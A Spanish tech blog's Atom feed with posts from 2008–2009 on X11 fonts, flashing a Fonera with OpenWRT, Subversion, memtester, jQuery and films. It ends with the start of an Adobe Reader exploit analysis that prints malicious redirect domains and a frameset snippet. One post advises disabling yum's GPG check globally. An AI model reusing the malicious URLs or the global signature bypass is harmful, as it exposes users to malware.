src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8755573102959798616</id><published>2009-04-06T14:01:00.003+02:00</published><updated>2009-04-06T14:04:20.333+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fuentes'/><category scheme='http://www.blogger.com/atom/ns#' term='x11'/><title type='text'>Caracteres raros en X11</title><content type='html'>Recientemente he tenido algunos problemillas con las fuentes en X11 en modo usuario, en cambio como root se mostraban bien:&lt;br /&gt;&lt;pre class="codigo"&gt;(process:16812): Pango-WARNING **: failed to create cairo scaled font, expect ugly output. the offending font is 'Bitstream Vera Sans 8'&lt;br /&gt;(process:16812): Pango-WARNING **: font_font status is: &lt;unknown error status&gt;&lt;br /&gt;(process:16812): Pango-WARNING **: scaled_font status is: out of memory&lt;br /&gt;(process:16812): Pango-WARNING **: shaping failure, expect ugly output. shape-engine='BasicEngineFc', font='Bitstream Vera Sans 8', text='The quick brown fox jumps over the lazy dog.'&lt;/pre&gt;&lt;br /&gt;Se trata de un problema de permisos, hay que aplicar lectura, acceso sobre las carpetas de las fuentes del sistema:&lt;br /&gt;&lt;pre class="codigo"&gt;chmod -Rv a+Xr /usr/share/fonts/&lt;/pre&gt;&lt;br /&gt;Y problema solucionado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8755573102959798616?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8755573102959798616/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8755573102959798616&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8755573102959798616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8755573102959798616'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/04/caracteres-raros-en-x11.html' title='Caracteres raros en X11'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-307994870334637568</id><published>2009-04-06T13:18:00.008+02:00</published><updated>2009-04-06T13:35:18.121+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openwrt'/><category scheme='http://www.blogger.com/atom/ns#' term='fonera'/><title type='text'>Flasheando Fonera FON2200 con OpenWRT</title><content type='html'>Cogemos los binarios que vamos a flashear de &lt;a href="http://downloads.openwrt.org/kamikaze/"&gt;http://downloads.openwrt.org/kamikaze/&lt;/a&gt; buscamos la ultima versión para el chip atheros, necesitaremos los archivos &lt;span style="font-weight:bold;"&gt;openwrt-atheros-root.jffs2-64k&lt;/span&gt; y &lt;span style="font-weight:bold;"&gt;openwrt-atheros-vmlinux.lzma&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es necesario acceder al redboot, para ello configuramos nuestra IP en la subred 192.168.1.0/24 conectamos la fonera y en menos de 10s debemos conectar: &lt;br /&gt;&lt;pre class="codigo"&gt;telnet 192.168.1.254 9000&lt;/pre&gt;&lt;br /&gt;Veremos el prompt: "RedBoot&gt;". Presionamos CTRL-C para detener el arranque del firmware actual, echamos a andar nuestro servidor tftp con los dos archivos anteriormente descargados.&lt;br /&gt;&lt;br /&gt;En el prompt escribimos:&lt;br /&gt;&lt;pre class="codigo"&gt;ip_addr -h [MiIP] -l 192.168.1.254/24&lt;br /&gt;&lt;br /&gt;fis init&lt;br /&gt;&lt;br /&gt;load -r -b 0x80041000 openwrt-atheros-root.jffs2-64k&lt;br /&gt;fis create -b 0x80041000 -f 0xA8030000 -l 0x006F0000 -e 0x00000000 rootfs&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;load -r -b 0x80041000 openwrt-atheros-vmlinux.lzma&lt;br /&gt;fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7&lt;br /&gt;&lt;br /&gt;fis load -l vmlinux.bin.l7&lt;br /&gt;exec&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Escribir la flash es lento, tendremos que esperar de 15 a 20 minutos en algunas de las operaciones.&lt;br /&gt;&lt;br /&gt;Una vez acabado podemos conectar con el nuevo sistema en la ip 192.168.1.1 a través de telnet.&lt;br /&gt;&lt;br /&gt;** NOTA artística: El administrador de paquetes de OpenWRT ahora se llama opkg (que no ipkg)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-307994870334637568?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/307994870334637568/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=307994870334637568&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/307994870334637568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/307994870334637568'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/04/flasheando-fonera-fon2200-con-openwrt.html' title='Flasheando Fonera FON2200 con OpenWRT'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5040477917859631945</id><published>2009-03-07T15:13:00.001+01:00</published><updated>2009-03-07T15:14:25.703+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Amy MacDonald. This is the life</title><content type='html'>&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/PxUWspS5FRM&amp;hl=en&amp;fs=1&amp;rel=0"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/PxUWspS5FRM&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5040477917859631945?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5040477917859631945/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5040477917859631945&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5040477917859631945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5040477917859631945'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/03/amy-macdonald-this-is-life.html' title='Amy MacDonald. This is the life'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-872937773603256</id><published>2009-02-23T23:21:00.005+01:00</published><updated>2009-02-23T23:31:26.860+01:00</updated><title type='text'>Via lactea desde observatorio en Hawai</title><content type='html'>Espectacular imagen:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://observatorio.info/2009/02/panoramica-de-la-via-lactea-desde-el-mauna-kea/"&gt;&lt;img src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SaMhmUhQcXI/AAAAAAAAAT8/jRzqSE7Lni8/s400/2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5306121728199520626" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-872937773603256?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/872937773603256/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=872937773603256&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/872937773603256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/872937773603256'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/02/via-lactea-desde-observatorio-en-hawai.html' title='Via lactea desde observatorio en Hawai'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/SaMhmUhQcXI/AAAAAAAAAT8/jRzqSE7Lni8/s72-c/2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7753714124853689071</id><published>2009-02-23T23:07:00.003+01:00</published><updated>2009-02-23T23:15:17.038+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='subversion'/><title type='text'>Ignorar archivos en subversion</title><content type='html'>Para evitar añadir cierto tipo de archivos de manera globar editamos el archivo "~/.subversion/config":&lt;br /&gt;&lt;pre class="codigo"&gt;[miscellany]&lt;br /&gt;### Set global-ignores to a set of whitespace-delimited globs&lt;br /&gt;### which Subversion will ignore in its 'status' output, and&lt;br /&gt;### while importing or adding files and directories.&lt;br /&gt;# global-ignores = *.o *.lo *.la #*# .*.rej *.rej .*~ *~ .#* .DS_Store&lt;br /&gt;global-ignores = *.pyc&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si queremos hacerlo por directorio:&lt;br /&gt;&lt;pre class="codigo"&gt;$ svn propset svn:ignore *.pyc .&lt;/pre&gt;&lt;br /&gt;El punto del final es importante e indica el directorio actual&lt;br /&gt;&lt;br /&gt;Para un listado de extensiones o nombres a evitar creamos un archivo de texto con un nuevo nombre en cada linea:&lt;br /&gt;&lt;pre class="codigo"&gt;svn propset svn:ignore -F ignore.txt .&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7753714124853689071?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7753714124853689071/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7753714124853689071&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7753714124853689071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7753714124853689071'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/02/ignorar-archivos-en-subversion.html' title='Ignorar archivos en subversion'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8031756822589313446</id><published>2009-02-23T22:49:00.005+01:00</published><updated>2009-02-23T23:07:15.600+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Cuestión de memoria</title><content type='html'>Trás tener problemas en una copia masiva por scp del tipo:&lt;br /&gt;&lt;pre class="codigo"&gt;Received disconnect from x.x.x.x: 2: Corrupted MAC on input.&lt;/pre&gt;&lt;br /&gt;La cosa pintaba a un fallo hardware, ya previamente en la instalación de la máquina había usado el memtest86 sin que revelara problemas en la memoria, pero como no había ganas de conectar monitor etc he encontrado el memtester, que testea la memoria en espacio de usuario, le dices el tamaño que quieres reservar y se dedica a operar sobre el mismo (es conveniente usar el máx tamaño disponible, no pruebes esto en máquinas en producción ;) ). Un análisis satisfactorio daría resultados como el siguiente:&lt;br /&gt;&lt;pre class="codigo"&gt;# memtester 1000M&lt;br /&gt;memtester version 4.0.7 (64-bit)&lt;br /&gt;Copyright (C) 2006 Charles Cazabon.&lt;br /&gt;Licensed under the GNU General Public License version 2 (only).&lt;br /&gt;&lt;br /&gt;pagesize is 4096&lt;br /&gt;pagesizemask is 0xfffffffffffff000&lt;br /&gt;want 1000MB (1048576000 bytes)&lt;br /&gt;got  1000MB (1048576000 bytes), trying mlock ...locked.&lt;br /&gt;Loop 1:&lt;br /&gt;  Stuck Address       : ok&lt;br /&gt;  Random Value        : ok&lt;br /&gt;  Compare XOR         : ok&lt;br /&gt;  Compare SUB         : ok&lt;br /&gt;  Compare MUL         : ok&lt;br /&gt;  Compare DIV         : ok&lt;br /&gt;  Compare OR          : ok&lt;br /&gt;  Compare AND         : ok&lt;br /&gt;  Sequential Increment: ok&lt;br /&gt;  Solid Bits          : ok&lt;br /&gt;  Block Sequential    : ok&lt;br /&gt;  Checkerboard        : ok&lt;br /&gt;  Bit Spread          : ok&lt;br /&gt;  Bit Flip            : ok&lt;br /&gt;  Walking Ones        : ok&lt;br /&gt;  Walking Zeroes      : ok&lt;br /&gt;&lt;br /&gt;Loop 2:&lt;br /&gt;  Stuck Address       : ok&lt;br /&gt;  Random Value        : ok&lt;br /&gt;  Compare XOR         : ok&lt;br /&gt;  Compare SUB         : ok&lt;br /&gt;  Compare MUL         : ok&lt;br /&gt;...&lt;/pre&gt;&lt;br /&gt;En la máquina en cuestión, la ram parece un poco podrida, pero solo bajo ciertas circunstancias:&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;br /&gt;FAILURE: 0x2424242424242424 != 0x2525252525252525 at offset 0x029391e9.&lt;br /&gt;FAILURE: 0x2424242424242424 != 0x2525252525252525 at offset 0x029391ea.&lt;br /&gt;FAILURE: 0x2424242424242424 != 0x2525252525252525 at offset 0x029391eb.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Solución: RAM a la basura...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8031756822589313446?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8031756822589313446/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8031756822589313446&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8031756822589313446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8031756822589313446'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/02/cuestion-de-memoria.html' title='Cuestión de memoria'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5891468356085971385</id><published>2009-01-19T18:41:00.003+01:00</published><updated>2009-01-19T19:25:56.147+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='peliculas'/><title type='text'>More than This</title><content type='html'>Aquí un montaje que ha hecho alguien con las imágenes de mi peli fetiche "Lost in Translation", en concreto esta es la canción que el personaje de Bill Murray canta en la escena del karaoke (uno de los mejores momentos de la pelicula).&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/7s6g27hsuws&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/7s6g27hsuws&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Recuerdo que la primera vez que la vi iba con la idea Bill Murray = risa, pero a medida que pasan las primeras escenas graciosas la atmósfera que se va creando es cada vez mas intensa, Tokyo, el insomnio, la conexión entre los dos personajes, al final quedas sumergido en la historia y con el buen sabor de boca de haber visto una obra de arte.&lt;br /&gt;&lt;br /&gt;Respecto al final de la peli, este verano se la pasé a un compañero de trabajo, no había muchas cosas que hacer en Sevilla con tanta caló, salvo estar bajo el aire acondicionado en tu habitación hasta que se apagara el sol (experiencia Pitch Black). Su comentario al final fue: "muy bien, pero el final está cortado!", se refería a que las últimas palabras que Bob dice a Charlotte no se llegan a escuchar, por el contexto uno se las imagina. Pero eh! buena suerte, resulta que en el script de la película viene lo que se dicen:&lt;br /&gt;&lt;br /&gt;&lt;div class="codigo"&gt;She turns and we see she is crying.&lt;br /&gt;The music swells. He embraces her, holding her close to him in the crowd.&lt;br /&gt;&lt;br /&gt;BOB (CONT'D): Why are you crying?&lt;br /&gt;CHARLOTTE (sincere): I'll miss you.&lt;br /&gt;&lt;br /&gt;He kisses her, hugs her good-bye.&lt;br /&gt;&lt;br /&gt;BOB: I know, I'm going to miss you, too.&lt;br /&gt;&lt;br /&gt;He holds her close.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Hoy estoy peliculero y como me gusta resumir, resumiría la pelicula en aquella mítica frase que Tyrell (el creador de los replicantes) en Blade Runner:&lt;br /&gt;&lt;br /&gt;&lt;div class="codigo"&gt;- Tyrell: ¿Qué? ¿Qué es lo que te preocupa? &lt;br /&gt;- Roy: La muerte.&lt;br /&gt;...&lt;br /&gt;- Tyrell: La luz que brilla con el doble de intensidad dura la mitad de tiempo. Y tú has brillado con muchísima intensidad, Roy. Mírate, eres el hijo pródigo. Eres todo un premio.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5891468356085971385?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5891468356085971385/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5891468356085971385&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5891468356085971385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5891468356085971385'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/01/more-than-this.html' title='More than This'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1208831166685822345</id><published>2009-01-17T11:40:00.002+01:00</published><updated>2009-01-17T11:50:06.261+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><title type='text'>CentOS yum package not signed</title><content type='html'>La configuración por defecto de CentOS obliga a que los paquetes que vayamos a instalar estén firmados con GPG. Cuando el paquete no está firmado como es el siguiente caso, el instalador se queja y no nos permite:&lt;br /&gt;&lt;pre class="codigo"&gt;# yum install Nessus-3.2.1-es5.i386.rpm&lt;br /&gt;Loading "installonlyn" plugin&lt;br /&gt;Setting up Install Process&lt;br /&gt;Setting up repositories&lt;br /&gt;Reading repository metadata in from local files&lt;br /&gt;Parsing package install arguments&lt;br /&gt;Examining Nessus-3.2.1-es5.i386.rpm: Nessus - 3.2.1-es5.i386&lt;br /&gt;Marking Nessus-3.2.1-es5.i386.rpm to be installed&lt;br /&gt;Resolving Dependencies&lt;br /&gt;--&gt; Populating transaction set with selected packages. Please wait.&lt;br /&gt;---&gt; Package Nessus.i386 0:3.2.1-es5 set to be updated&lt;br /&gt;--&gt; Running transaction check&lt;br /&gt;&lt;br /&gt;Dependencies Resolved&lt;br /&gt;&lt;br /&gt;=============================================================================&lt;br /&gt; Package                 Arch       Version          Repository        Size&lt;br /&gt;=============================================================================&lt;br /&gt;Installing:&lt;br /&gt; Nessus                  i386       3.2.1-es5        Nessus-3.2.1-es5.i386.rpm   59 M&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;=============================================================================&lt;br /&gt;Install      1 Package(s)&lt;br /&gt;Update       0 Package(s)&lt;br /&gt;Remove       0 Package(s)&lt;br /&gt;&lt;br /&gt;Total download size: 59 M&lt;br /&gt;Is this ok [y/N]: y&lt;br /&gt;Downloading Packages:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Package Nessus-3.2.1-es5.i386.rpm is not signed&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Para conseguir la instalación tan solo tenemos que &lt;a href="http://www.mysidenotes.com/?p=10"&gt;deshabilitar en la configuración el chekeo de gpg&lt;/a&gt;: editamos "/etc/yum.conf" configurando el parametro "gpgcheck=0".&lt;br /&gt;Ahora ya permitirá la instalación correctamente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1208831166685822345?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1208831166685822345/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1208831166685822345&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1208831166685822345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1208831166685822345'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/01/centos-yum-package-not-signed.html' title='CentOS yum package not signed'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5230851043937603205</id><published>2008-12-01T20:05:00.004+01:00</published><updated>2008-12-01T20:16:23.397+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>jquery option</title><content type='html'>Llevo ya unos días probando jquery, mis impresiones son geniales al respecto, hace el manejo javascript muy facil, las funciones ajax muy simples y te olvidas de prácticamente todos los problemas de bajo nivel. Aparte varios pluggins te solucionan la vida del tirón.&lt;br /&gt;&lt;br /&gt;Uno de los problemas que encontrado es que para añadir dinámicamente opciones a un select Opera e IE no soportan el tradicional:&lt;br /&gt;&lt;pre class="codigo"&gt;$('&amp;lt;option/&gt;').attrs('value','x').html('valor').appendTo('#selector');&lt;/pre&gt;&lt;br /&gt;El problema se encuentra en la forma de trabajo de jquery que modifica la propiedad .innerHTML del elemento, en este caso los 2 navegadores no poseen esa propiedad en los tags select.&lt;br /&gt;&lt;br /&gt;La forma más sencilla de evitar el problema es montando los nuevos objetos de esta forma:&lt;br /&gt;&lt;pre class="codigo"&gt;$('#selector').append('&amp;lt;option value="x"&gt;x&amp;lt;/option&gt;');&lt;/pre&gt;&lt;br /&gt;No es la elegancia pura pero funciona a las mil maravillas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5230851043937603205?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5230851043937603205/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5230851043937603205&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5230851043937603205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5230851043937603205'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/12/jquery-option.html' title='jquery option'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2958507171131070955</id><published>2008-12-01T12:05:00.001+01:00</published><updated>2008-12-01T12:09:35.149+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virustotal'/><title type='text'>Más Virustotal</title><content type='html'>&lt;a href="http://www.laopiniondemalaga.es/secciones/noticia.jsp?pRef=2008113000_11_221095__LUCES-DE-MALAGA-Seguratas-informatica"&gt;http://www.laopiniondemalaga.es/secciones/noticia.jsp?pRef=2008113000_11_221095__LUCES-DE-MALAGA-Seguratas-informatica&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2958507171131070955?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2958507171131070955/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2958507171131070955&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2958507171131070955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2958507171131070955'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/12/ms-virustotal.html' title='Más Virustotal'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3050035259593879090</id><published>2008-11-13T23:13:00.000+01:00</published><updated>2008-11-13T23:14:39.148+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virustotal'/><title type='text'>VirusTotal se convierte en una referencia mundial</title><content type='html'>Aparecimos en "El País":&lt;br /&gt;&lt;a href="http://www.elpais.com/articulo/red/servicio/malagueno/VirusTotal/convierte/referencia/mundial/elpeputec/20081113elpcibenr_1/Tes"&gt;http://www.elpais.com/articulo/red/servicio/malagueno/VirusTotal/convierte/referencia/mundial/elpeputec/20081113elpcibenr_1/Tes&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3050035259593879090?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3050035259593879090/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3050035259593879090&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3050035259593879090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3050035259593879090'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/11/virustotal-se-convierte-en-una.html' title='VirusTotal se convierte en una referencia mundial'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5579363386422516479</id><published>2008-11-13T22:53:00.004+01:00</published><updated>2008-11-13T23:06:52.394+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><title type='text'>Explotando Adobe Reader</title><content type='html'>A continuación un breve análisis de como explotan una vulnerabilidad, un poco vieja, en Adobe Reader &amp;lt;8.1.2 o 7.1.0:&lt;br /&gt;Andaba yo navegando y de pronto se me abre el lector de pdfs así que lanzo el wireshark a ver de donde sale el asunto:&lt;br /&gt;Una petición a un dominio chino que lanza un frame con una nueva página:&lt;br /&gt;&lt;pre class="codigo"&gt;http://vxhost.cn/counter/in.cgi?default&lt;br /&gt;&amp;lt;html&gt;&amp;lt;frameset rows="100%"&gt;&amp;lt;frame src="http://mmcounter.com/in.cgi?id122"&gt;&amp;lt;/frameset&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Esta a su vez redige a otra página donde se lanza el pdf malicioso:&lt;br /&gt;&lt;pre class="codigo"&gt;http://mmcounter.com/in.cgi?id122 -&gt; http://big.ff-freehosting.com/vip/&lt;/pre&gt;&lt;br 